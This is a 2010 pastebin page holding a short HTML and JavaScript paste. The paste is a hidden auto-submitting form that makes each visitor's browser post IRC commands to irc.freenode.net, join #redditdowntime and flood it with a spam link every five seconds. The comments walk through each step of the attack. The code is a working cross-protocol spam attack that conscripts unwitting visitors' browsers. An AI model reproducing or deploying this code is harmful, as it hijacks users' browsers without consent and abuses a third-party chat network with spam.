Subdomain Posts
PHP | 17 days ago
JavaScript | 52 days ago
HTML | 52 days ago
HTML | 53 days ago
None | 103 days ago
Python | 257 days ago
None | 260 days ago
None | 260 days ago
None | 260 days ago
Recent Posts
C++ | 44 sec ago
None | 1 min ago
C | 1 min ago
None | 1 min ago
XML | 2 min ago
None | 3 min ago
Java 5 | 3 min ago
None | 4 min ago
C++ | 4 min ago
CSS | 4 min ago
Sitereport
Find cool info about any domain on the internet?
visit sitereport
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
By mkosmo on the 27th of Jan 2010 01:20:22 PM
Download |
Raw |
Embed |
Report
<form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
<script type="text/javascript">
/*
* Generate a random string of characters to use for an IRC nick
*/
function rnd(){
var chars="abcdefghijklmnopqrstuvwxyz";
var r='';
var length=Math.floor(Math.random()*10+3);
for (var i=0;i<length;i++){
var rnum=Math.floor(Math.random() * chars.length);
r += chars.substring(rnum, rnum+1);
}
return r;
}
function lol(){
/* Grab a reference to the textarea */
var x = document.getElementById('x');
/* Grab a reference to the form itself */
var f = document.getElementById('f');
/* Generate a fake user-name */
var i = rnd();
/* Generate a fake nick */
var n = rnd();
/*
* Build a series of IRC commands into a string:
* - Set the username
* - Set the nick
* - Join the channel to spam (#redditdowntime)
* - Queue up a bunch of PRIVMSG commands to the channel with the spam link
*/
x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
/* Submit the form, effectively sending the textarea contents to an IRC server */
f.submit();
/* Setup a loop for maximum irritation */
setTimeout(lol, 5000);
}
lol();
<h1>DIGG ROOLZ! REDDIT DROOLZ!
</h1>
Submit a correction or amendment below.
[ previous version ] | [ difference ] | Make A New Post